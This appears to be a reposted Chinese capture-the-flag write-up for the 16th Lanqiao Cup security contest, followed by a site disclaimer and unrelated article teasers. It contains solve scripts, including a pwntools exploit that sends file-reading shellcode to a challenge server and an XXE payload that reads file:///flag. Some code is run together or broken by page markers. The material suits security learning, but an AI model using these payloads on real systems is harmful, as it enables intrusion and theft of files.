第十六屆藍橋杯網安初賽wp

解題列表

根據提示一步一步走,經過猜測,測試出app.py

經過仔細研讀代碼,找到密鑰

編寫python代碼拿到flag

key = 'secret_key9828'
flag='d9d1c4d9e0d6c29e9aad71696565d99bc8d892a8979ec7a69b9a6868a095c8d89dac91d19ba9716f63b5'
new=bytearray()
flag=bytes.fromhex(flag)
for i in range(len(flag)):decrypt=flag[i]-ord(key[i%len(key)])new.append(decrypt)
print(new)

打開之后,經過翻找得到flag

使用分析工具CTF-NetA-V0.3.0一把梭

在cyberchef解密即可

from Cryptodome.Cipher import AES
b = {
'7': ['3', '4', '5', '6', '7', '8', '9', 'a', 'b'],
'4': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b'],
'a': ['a', 'b', 'c', 'd', 'e', 'f'],
'e': ['c', 'd'],
'b': ['9', 'a', 'b', 'c', 'd'],
'3': ['1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd'],
'5': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a'],
'6': ['4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd'],
'c': ['0', '1', '2', '3'],
'f': ['7'],
'd': ['c', 'd', 'e'],
'1': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd',
'e'],
'9': ['0', '1', '2', '3', '4', '5', '6'],
'0': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd',
'e', 'f']
}
gift = 64698960125130294692475067384121553664
key1_hex = "74aeb356c6eb74f364cd316497c0f714"
cipher =
b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc
7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
char_to_num = {f"{i:x}": i for i in range(16)}
b_numeric = {}
for k in b:
k_num = char_to_num[k]
b_numeric[k_num] = [char_to_num[c] for c in b[k]]
key1_digits = [char_to_num[c] for c in key1_hex]
gift_bin = bin(gift)[2:].zfill(128)
18 / 21gift_nibbles = [int(gift_bin[i*4 : (i+1)*4], 2) for i in range(32)]
candidates = []
for i in range(32):
k = key1_digits[i]
g = gift_nibbles[i]
user_candidates = b_numeric.get(k, list(range(16)))
valid_candidates = [c for c in user_candidates if (c & k) == g]
candidates.append(valid_candidates)
def solve():
used = [False] * 16
mapping = {}
def backtrack(pos):
if pos == 32:
key0_digits = [mapping[k] for k in key1_digits]
key0_hex = "".join(f"{c:x}" for c in key0_digits)
try:
aes0 = AES.new(bytes.fromhex(key0_hex), AES.MODE_CBC,
bytes.fromhex(key1_hex))
aes1 = AES.new(bytes.fromhex(key1_hex), AES.MODE_CBC,
bytes.fromhex(key0_hex))
plaintext = aes0.decrypt(aes1.encrypt(cipher))
if b"flag{" in plaintext:
print("Found valid key0:", key0_hex)
print("Flag:", plaintext.decode())
return True
except:
pass
return False
k = key1_digits[pos]
if k in mapping:
return backtrack(pos + 1)
for c in candidates[pos]:
if not used[c]:
valid = True
for future_pos in range(pos+1, 32):
future_k = key1_digits[future_pos]
if future_k == k:
19 / 21future_g = gift_nibbles[future_pos]
if (c & future_k) != future_g:
valid = False
break
if not valid:
continue
used[c] = True
mapping[k] = c
if backtrack(pos + 1):
return True
del mapping[k]
used[c] = False
return False
sorted_positions = sorted(range(32), key=lambda x: len(candidates[x]))
return backtrack(0)
if not solve():
print("No valid mapping found.")

block = [0x00, 0x05, 0x83, 0x80, 0x8E, 0x2B, 0x00, 0x83, 0x2F, 0xAA, 0x2B, 0x81, 0xA8, 0xA5]
v17 = [0x13, 0x39, 0xBE, 0xBE, 0xB4, 0x38, 0xB8, 0xBA, 0xBB, 0xB4, 0x3E, 0x90, 0x3A, 0xBA, 0xB4]
v16 = [0x8B, 0x89, 0x22, 0x88, 0x8B, 0x20, 0x09, 0x22, 0x88, 0x08, 0x8D, 0x88, 0xAF]key1 = 0x99 ^ 0xFF
key2 = 0xDD ^ 0x99
key3 = 0xFF ^ 0xDDdef left_shift(byte):return ((byte << 1) | (byte >> 7)) & 0xFFdef xor_operation(data, length, key):result = []for i in range(length):new_byte = key ^ left_shift(data[i])result.append(new_byte)return resultresult1 = xor_operation(block, 14, key1)
result2 = xor_operation(v17, 15, key2)
result3 = xor_operation(v16, 13, key3)
flag = ''.join(map(chr, result1 + result2 + result3))
print(flag)

from pwn import *
# p = process(r'D:\桌面\lllqqq\RuneBreach_331d31358bec3706d88a7bbe11e12bee\chall')
p = remote('8.147.132.32', 19652)
context(arch='amd64', os='linux', log_level='debug')
for _ in range(4):
? ? p.recvuntil(b'Defend? (y/N): ')
? ? p.sendline(b'n')
p.recvuntil(b'Your place is mine now ')
shell_addr = int(p.recvuntil(b'!\n', drop=True), 16)
print('exec_area:', hex(shell_addr))
shellcode = asm(shellcraft.cat('/flag'))
p.sendline(shellcode)
p.interactive()

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">]>
<root>&xxe;</root> ? ?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/80635.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/80635.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/80635.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【leetcode100】單詞拆分

1、題目描述 給你一個字符串 s 和一個字符串列表 wordDict 作為字典。如果可以利用字典中出現的一個或多個單詞拼接出 s 則返回 true。 注意&#xff1a;不要求字典中出現的單詞全部都使用&#xff0c;并且字典中的單詞可以重復使用。 示例 1&#xff1a; 輸入: s "l…

機器人項目管理新風口:如何高效推動智能機器人研發?

在2025年政府工作報告中&#xff0c;“智能機器人”首次被正式納入國家發展戰略關鍵詞。從蛇年春晚的秧歌舞機器人驚艷亮相&#xff0c;到全球首個人形機器人馬拉松的熱議&#xff0c;智能機器人不僅成為科技前沿的焦點&#xff0c;也為產業升級注入了新動能。而在熱潮背后&…

k8s學習記錄(四):節點親和性

一、前言 在上一篇文章里&#xff0c;我們了解了 Pod 中的nodeName和nodeSelector這兩個屬性&#xff0c;通過它們能夠指定 Pod 調度到哪個 Node 上。今天&#xff0c;我們將進一步深入探索 Pod 相關知識。這部分內容不僅信息量較大&#xff0c;理解起來也有一定難度&#xff0…

NeRF:原理 + 實現 + 實踐全流程配置+數據集測試【Ubuntu20.04 】【2025最新版】

一、引言 從三維建模、虛擬現實到電影級渲染&#xff0c;真實感建模一直是計算機視覺和圖形學的核心目標。 在傳統方法中&#xff0c;我們往往依賴&#xff1a; 多視角立體&#xff08;MVS&#xff09;點云重建 網格擬合顯式建模&#xff08;如多邊形、體素、TSDF&#xff0…

ASP.NET MVC? 入門指南三

16. 安全性 16.1 身份驗證和授權 身份驗證&#xff1a;確認用戶的身份。ASP.NET MVC 支持多種身份驗證方式&#xff0c;如表單身份驗證、Windows 身份驗證和 OAuth 等。 表單身份驗證&#xff1a;用戶通過輸入用戶名和密碼登錄&#xff0c;服務器驗證后頒發一個身份驗證票證&…

佳博票據和標簽打印:Web網頁端與打印機通信 | iOS

文章目錄 引言I Web網頁端與打印機通信webSDK(包含示例頁)打印測試II iOS與佳博打印機通信引言 佳博工具下載ESC是票據打印指令,TSC是標簽打印指令 工業打印機:佳博GP-H430F工業機標簽條碼打印機物流快遞電子面單條碼機碳帶機 應用場景:打印商品價格標簽、打印交易小票 I…

c語言初識

學c注意事項 我寫了很多服務器的代碼&#xff0c;我怕有些人看不懂所以就寫了這篇入門篇。 學習c語言要多動手&#xff0c;多練習&#xff0c;其實語法就幾個,你了解了就會寫出自己想要的代碼&#xff0c;你不要怕不會寫不出程序&#xff0c;因為大部分代碼都有人寫好&#xf…

請求參數、路徑參數、查詢參數、Spring MVC/FeignClient請求相關注解梳理

目錄 1 請求分類1.1 URL參數--查詢參數1.2 URL參數--路徑參數 2 請求相關注解2.1 RequestParam--查詢參數2.2 PathVariable--路徑參數2.3 RequestBody2.4 Param & RequestLine2.5 SpringMVC請求參數注解用在FeignClient里 使用SpringMVC處理http請求或使用FeignClient進行請…

智能指針之設計模式3

這次我們看一下智能指針是如何使用策略模式來釋放資源的&#xff0c;同時又是如何擴展功能&#xff0c;管理更多的資源對象類型的。 3、策略模式 策略模式作為一種軟件設計模式&#xff0c;指對象有某個行為&#xff0c;但是在不同的應用場景中&#xff0c;該行為有不同的實現…

華為盤古OS深度評測:構建AI自進化系統的實踐密碼

華為盤古OS通過分布式AI內核與自適應學習框架的深度耦合&#xff0c;重新定義操作系統級智能能力。實測顯示其AI任務調度效率較傳統系統提升17倍&#xff0c;本文從智能體編排、持續學習機制、端云協同架構三個維度&#xff0c;解析如何基于DevKit 3.0打造具備認知進化能力的下…

精益數據分析(28/126):解讀商業模式拼圖與關鍵指標

精益數據分析&#xff08;28/126&#xff09;&#xff1a;解讀商業模式拼圖與關鍵指標 在創業和數據分析的探索旅程中&#xff0c;每一次深入研究都可能帶來新的啟發和突破。今天&#xff0c;我們依舊帶著共同進步的初心&#xff0c;深入解讀《精益數據分析》中關于商業模式的…

GitLab Runner配置并行執行多個任務

檢查并修改方法&#xff1a; 打開 Runner 的配置文件&#xff08;通常位于 /etc/gitlab-runner/config.toml 或 ~/.gitlab-runner/config.toml&#xff09;。 確保 concurrent 值大于 1&#xff0c;例如&#xff1a; concurrent 4 # 允許最多 4 個任務同時運行重啟 Runner…

開發首個Spring Boot應用

&#x1f4cb; 前置條件 &#x1f3af; 在開始之前&#xff0c;請打開終端并運行以下命令以確保已安裝正確版本的 Java&#xff1a; $ java -version openjdk version "17.0.4.1" 2022-08-12 LTS OpenJDK Runtime Environment (build 17.0.4.11-LTS) OpenJDK 64-Bi…

【信息系統項目管理師】高分論文:論質量管理和進度管理(智慧旅游平臺建設項目)

更多內容請見: 備考信息系統項目管理師-專欄介紹和目錄 文章目錄 論文1、規劃質量管理2、質量保證3、質量控制論文 2019年3月,我作為項目經理,參加了某市智慧旅游平臺建設項目,負責項目的全面管理, 該項目以打造一流的國內外生態旅游城市為目標,旨在大數據云平臺建設的基…

DAM-3B,英偉達推出的多模態大語言模型

DAM-3B是什么 DAM-3B&#xff08;Describe Anything 3B&#xff09;是英偉達推出的一款多模態大語言模型&#xff0c;專門用于為圖像和視頻中的特定區域生成詳細描述。用戶可以通過點、邊界框、涂鴉或掩碼等方式來標識目標區域&#xff0c;從而得到精準且符合上下文的文本描述…

如何判斷你的PyTorch是GPU版還是CPU版?

如何判斷你的PyTorch是GPU版還是CPU版&#xff1f; PyTorch作為當前最流行的深度學習框架之一&#xff0c;支持在CPU和GPU(NVIDIA CUDA)上運行。對于深度學習開發者來說&#xff0c;正確識別PyTorch版本至關重要&#xff0c;因為GPU版本可以帶來10-100倍的性能提升。本文將全面…

Gin框架

Gin 快速入門 go get -u github.com/gin-gonic/gin package main import gin "github.com/gin-gonic/gin"func main() {engine : gin.Default()engine.GET("/", func(c *gin.Context) {c.String(200, "Hello Gin")})engine.Run(":8888&q…

【Project】基于spark-App端口懂車帝數據采集與可視化

文章目錄 hadoop完全分布式部署hdfs-site.xmlcore-site.xmlmarpred-site.xmlyarn-site.xml spark集群部署spark-env.sh mongodb分片模式部署config 服務器初始化config 副本集 shard 服務器初始化shard 副本集 mongos服務器添加shard設置chunk大小 啟動分片為集合 user 創建索引…

brew 安裝openjdk查看其版本

使用brew&#xff08;如果你使用Homebrew安裝&#xff09; 如果你通過Homebrew安裝了OpenJDK&#xff0c;可以使用以下命令來查看安裝的版本,&#xff1a; brew list --versions openjdk8 這將會列出所有通過Homebrew安裝的OpenJDK版本及其版本號。 3. 查看/usr/libexec/ja…

【Linux網絡】構建與優化HTTP請求處理 - HttpRequest從理解到實現

&#x1f4e2;博客主頁&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客倉庫&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;歡迎點贊 &#x1f44d; 收藏 ?留言 &#x1f4dd; 如有錯誤敬請指正&#xff01; &…